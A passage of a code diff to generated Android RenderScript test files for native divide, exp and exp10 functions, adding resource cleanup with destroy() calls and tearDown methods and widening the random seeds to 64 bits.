@@ -682,9 +718,12 @@
             scriptRelaxed.set_gAllocInRightVector(inRightVector);
             scriptRelaxed.forEach_testNativeDistanceHalf4Half4Half(inLeftVector, out);
             verifyResultsNativeDistanceHalf4Half4Half(inLeftVector, inRightVector, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeDistanceHalf4Half4Half: " + e.toString());
         }
+        inLeftVector.destroy();
+        inRightVector.destroy();
     }
 
     private void verifyResultsNativeDistanceHalf4Half4Half(Allocation inLeftVector, Allocation inRightVector, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeDivide.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeDivide.java
index 603e92f..79ea455 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeDivide.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeDivide.java
@@ -37,6 +37,13 @@
         scriptRelaxed = new ScriptC_TestNativeDivideRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloatFloat {
         public float inLeftVector;
         public float inRightVector;
@@ -44,13 +51,14 @@
     }
 
     private void checkNativeDivideFloatFloatFloat() {
-        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x751754efl, false);
-        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x19040daal, false);
+        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x73477387751754efl, false);
+        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x5ed4412e19040daal, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.set_gAllocInRightVector(inRightVector);
             script.forEach_testNativeDivideFloatFloatFloat(inLeftVector, out);
             verifyResultsNativeDivideFloatFloatFloat(inLeftVector, inRightVector, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeDivideFloatFloatFloat: " + e.toString());
         }
@@ -59,9 +67,12 @@
             scriptRelaxed.set_gAllocInRightVector(inRightVector);
             scriptRelaxed.forEach_testNativeDivideFloatFloatFloat(inLeftVector, out);
             verifyResultsNativeDivideFloatFloatFloat(inLeftVector, inRightVector, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeDivideFloatFloatFloat: " + e.toString());
         }
+        inLeftVector.destroy();
+        inRightVector.destroy();
     }
 
     private void verifyResultsNativeDivideFloatFloatFloat(Allocation inLeftVector, Allocation inRightVector, Allocation out, boolean relaxed) {
@@ -123,13 +134,14 @@
     }
 
     private void checkNativeDivideFloat2Float2Float2() {
-        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x7785d6dl, false);
-        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xaf507ad4l, false);
+        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x752d5a1207785d6dl, false);
+        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xb071fa74af507ad4l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.set_gAllocInRightVector(inRightVector);
             script.forEach_testNativeDivideFloat2Float2Float2(inLeftVector, out);
             verifyResultsNativeDivideFloat2Float2Float2(inLeftVector, inRightVector, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeDivideFloat2Float2Float2: " + e.toString());
         }
@@ -138,9 +150,12 @@
             scriptRelaxed.set_gAllocInRightVector(inRightVector);
             scriptRelaxed.forEach_testNativeDivideFloat2Float2Float2(inLeftVector, out);
             verifyResultsNativeDivideFloat2Float2Float2(inLeftVector, inRightVector, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeDivideFloat2Float2Float2: " + e.toString());
         }
+        inLeftVector.destroy();
+        inRightVector.destroy();
     }
 
     private void verifyResultsNativeDivideFloat2Float2Float2(Allocation inLeftVector, Allocation inRightVector, Allocation out, boolean relaxed) {
@@ -202,13 +217,14 @@
     }
 
     private void checkNativeDivideFloat3Float3Float3() {
-        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x5fb90198l, false);
-        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x822c0e0dl, false);
+        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x5623c6c05fb90198l, false);
+        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x79d63bbd822c0e0dl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.set_gAllocInRightVector(inRightVector);
             script.forEach_testNativeDivideFloat3Float3Float3(inLeftVector, out);
             verifyResultsNativeDivideFloat3Float3Float3(inLeftVector, inRightVector, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeDivideFloat3Float3Float3: " + e.toString());
         }
@@ -217,9 +233,12 @@
             scriptRelaxed.set_gAllocInRightVector(inRightVector);
             scriptRelaxed.forEach_testNativeDivideFloat3Float3Float3(inLeftVector, out);
             verifyResultsNativeDivideFloat3Float3Float3(inLeftVector, inRightVector, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeDivideFloat3Float3Float3: " + e.toString());
         }
+        inLeftVector.destroy();
+        inRightVector.destroy();
     }
 
     private void verifyResultsNativeDivideFloat3Float3Float3(Allocation inLeftVector, Allocation inRightVector, Allocation out, boolean relaxed) {
@@ -281,13 +300,14 @@
     }
 
     private void checkNativeDivideFloat4Float4Float4() {
-        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xb7f9a5c3l, false);
-        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x5507a146l, false);
+        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x371a336eb7f9a5c3l, false);
+        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x433a7d065507a146l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.set_gAllocInRightVector(inRightVector);
             script.forEach_testNativeDivideFloat4Float4Float4(inLeftVector, out);
             verifyResultsNativeDivideFloat4Float4Float4(inLeftVector, inRightVector, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeDivideFloat4Float4Float4: " + e.toString());
         }
@@ -296,9 +316,12 @@
             scriptRelaxed.set_gAllocInRightVector(inRightVector);
             scriptRelaxed.forEach_testNativeDivideFloat4Float4Float4(inLeftVector, out);
             verifyResultsNativeDivideFloat4Float4Float4(inLeftVector, inRightVector, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeDivideFloat4Float4Float4: " + e.toString());
         }
+        inLeftVector.destroy();
+        inRightVector.destroy();
     }
 
     private void verifyResultsNativeDivideFloat4Float4Float4(Allocation inLeftVector, Allocation inRightVector, Allocation out, boolean relaxed) {
@@ -368,13 +391,14 @@
     }
 
     private void checkNativeDivideHalfHalfHalf() {
-        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xaeea6bb8l, false);
-        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xcf78e16dl, false);
+        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x2fac288caeea6bb8l, false);
+        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x3bea90ecf78e16dl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.set_gAllocInRightVector(inRightVector);
             script.forEach_testNativeDivideHalfHalfHalf(inLeftVector, out);
             verifyResultsNativeDivideHalfHalfHalf(inLeftVector, inRightVector, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeDivideHalfHalfHalf: " + e.toString());
         }
@@ -383,9 +407,12 @@
             scriptRelaxed.set_gAllocInRightVector(inRightVector);
             scriptRelaxed.forEach_testNativeDivideHalfHalfHalf(inLeftVector, out);
             verifyResultsNativeDivideHalfHalfHalf(inLeftVector, inRightVector, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeDivideHalfHalfHalf: " + e.toString());
         }
+        inLeftVector.destroy();
+        inRightVector.destroy();
     }
 
     private void verifyResultsNativeDivideHalfHalfHalf(Allocation inLeftVector, Allocation inRightVector, Allocation out, boolean relaxed) {
@@ -452,13 +479,14 @@
     }
 
     private void checkNativeDivideHalf2Half2Half2() {
-        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x15982fb6l, false);
-        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xea8cd17l, false);
+        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xffe86bf115982fb6l, false);
+        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xfdddfaec0ea8cd17l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.set_gAllocInRightVector(inRightVector);
             script.forEach_testNativeDivideHalf2Half2Half2(inLeftVector, out);
             verifyResultsNativeDivideHalf2Half2Half2(inLeftVector, inRightVector, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeDivideHalf2Half2Half2: " + e.toString());
         }
@@ -467,9 +495,12 @@
             scriptRelaxed.set_gAllocInRightVector(inRightVector);
             scriptRelaxed.forEach_testNativeDivideHalf2Half2Half2(inLeftVector, out);
             verifyResultsNativeDivideHalf2Half2Half2(inLeftVector, inRightVector, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeDivideHalf2Half2Half2: " + e.toString());
         }
+        inLeftVector.destroy();
+        inRightVector.destroy();
     }
 
     private void verifyResultsNativeDivideHalf2Half2Half2(Allocation inLeftVector, Allocation inRightVector, Allocation out, boolean relaxed) {
@@ -536,13 +567,14 @@
     }
 
     private void checkNativeDivideHalf3Half3Half3() {
-        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xc1c6525bl, false);
-        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xfa689ecel, false);
+        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x58958982c1c6525bl, false);
+        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xe2f1f263fa689ecel, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.set_gAllocInRightVector(inRightVector);
             script.forEach_testNativeDivideHalf3Half3Half3(inLeftVector, out);
             verifyResultsNativeDivideHalf3Half3Half3(inLeftVector, inRightVector, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeDivideHalf3Half3Half3: " + e.toString());
         }
@@ -551,9 +583,12 @@
             scriptRelaxed.set_gAllocInRightVector(inRightVector);
             scriptRelaxed.forEach_testNativeDivideHalf3Half3Half3(inLeftVector, out);
             verifyResultsNativeDivideHalf3Half3Half3(inLeftVector, inRightVector, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeDivideHalf3Half3Half3: " + e.toString());
         }
+        inLeftVector.destroy();
+        inRightVector.destroy();
     }
 
     private void verifyResultsNativeDivideHalf3Half3Half3(Allocation inLeftVector, Allocation inRightVector, Allocation out, boolean relaxed) {
@@ -620,13 +655,14 @@
     }
 
     private void checkNativeDivideHalf4Half4Half4() {
-        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x6df47500l, false);
-        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xe6287085l, false);
+        Allocation inLeftVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xb142a7146df47500l, false);
+        Allocation inRightVector = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xc805e9dbe6287085l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.set_gAllocInRightVector(inRightVector);
             script.forEach_testNativeDivideHalf4Half4Half4(inLeftVector, out);
             verifyResultsNativeDivideHalf4Half4Half4(inLeftVector, inRightVector, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeDivideHalf4Half4Half4: " + e.toString());
         }
@@ -635,9 +671,12 @@
             scriptRelaxed.set_gAllocInRightVector(inRightVector);
             scriptRelaxed.forEach_testNativeDivideHalf4Half4Half4(inLeftVector, out);
             verifyResultsNativeDivideHalf4Half4Half4(inLeftVector, inRightVector, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeDivideHalf4Half4Half4: " + e.toString());
         }
+        inLeftVector.destroy();
+        inRightVector.destroy();
     }
 
     private void verifyResultsNativeDivideHalf4Half4Half4(Allocation inLeftVector, Allocation inRightVector, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExp.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExp.java
index baef7bd..45ce80b 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExp.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExp.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestNativeExpRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkNativeExpFloatFloat() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xf1f6be9bl, -86, 86);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x66a7898af1f6be9bl, -86, 86);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testNativeExpFloatFloat(inV, out);
             verifyResultsNativeExpFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExpFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeExpFloatFloat(inV, out);
             verifyResultsNativeExpFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExpFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeExpFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkNativeExpFloat2Float2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x63a0ee67l, -86, 86);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x6feb21d463a0ee67l, -86, 86);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testNativeExpFloat2Float2(inV, out);
             verifyResultsNativeExpFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExpFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeExpFloat2Float2(inV, out);
             verifyResultsNativeExpFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExpFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeExpFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkNativeExpFloat3Float3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x59bc0f45l, -86, 86);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x6feceaef59bc0f45l, -86, 86);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testNativeExpFloat3Float3(inV, out);
             verifyResultsNativeExpFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExpFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeExpFloat3Float3(inV, out);
             verifyResultsNativeExpFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExpFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeExpFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkNativeExpFloat4Float4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x4fd73023l, -86, 86);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x6feeb40a4fd73023l, -86, 86);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testNativeExpFloat4Float4(inV, out);
             verifyResultsNativeExpFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExpFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeExpFloat4Float4(inV, out);
             verifyResultsNativeExpFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExpFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeExpFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkNativeExpHalfHalf() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x529e185dl, -86, 86);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x89ec7b36529e185dl, -86, 86);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testNativeExpHalfHalf(inV, out);
             verifyResultsNativeExpHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExpHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeExpHalfHalf(inV, out);
             verifyResultsNativeExpHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExpHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeExpHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkNativeExpHalf2Half2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x5f1505d7l, -86, 86);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x2d04fb3e5f1505d7l, -86, 86);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testNativeExpHalf2Half2(inV, out);
             verifyResultsNativeExpHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExpHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeExpHalf2Half2(inV, out);
             verifyResultsNativeExpHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExpHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeExpHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkNativeExpHalf3Half3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xbe1ccacbl, -86, 86);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x2d0505dfbe1ccacbl, -86, 86);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testNativeExpHalf3Half3(inV, out);
             verifyResultsNativeExpHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExpHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeExpHalf3Half3(inV, out);
             verifyResultsNativeExpHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExpHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeExpHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkNativeExpHalf4Half4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x1d248fbfl, -86, 86);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x2d0510811d248fbfl, -86, 86);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testNativeExpHalf4Half4(inV, out);
             verifyResultsNativeExpHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExpHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeExpHalf4Half4(inV, out);
             verifyResultsNativeExpHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExpHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeExpHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExp10.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExp10.java
index 6ff9a35..60d872c 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExp10.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExp10.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestNativeExp10Relaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkNativeExp10FloatFloat() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x90352c54l, -37, 37);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x562e4ea690352c54l, -37, 37);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testNativeExp10FloatFloat(inV, out);
             verifyResultsNativeExp10FloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExp10FloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeExp10FloatFloat(inV, out);
             verifyResultsNativeExp10FloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExp10FloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeExp10FloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkNativeExp10Float2Float2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x54876b98l, -37, 37);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x7450c64e54876b98l, -37, 37);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testNativeExp10Float2Float2(inV, out);
             verifyResultsNativeExp10Float2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExp10Float2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeExp10Float2Float2(inV, out);
             verifyResultsNativeExp10Float2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExp10Float2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeExp10Float2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkNativeExp10Float3Float3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x4aa28c76l, -37, 37);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x74528f694aa28c76l, -37, 37);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testNativeExp10Float3Float3(inV, out);
             verifyResultsNativeExp10Float3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExp10Float3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeExp10Float3Float3(inV, out);
             verifyResultsNativeExp10Float3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeExp10Float3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeExp10Float3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkNativeExp10Float4Float4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x40bdad54l, -37, 37);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x7454588440bdad54l, -37, 37);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testNativeExp10Float4Float4(inV, out);
             verifyResultsNativeExp10Float4Float4(inV, out, false);
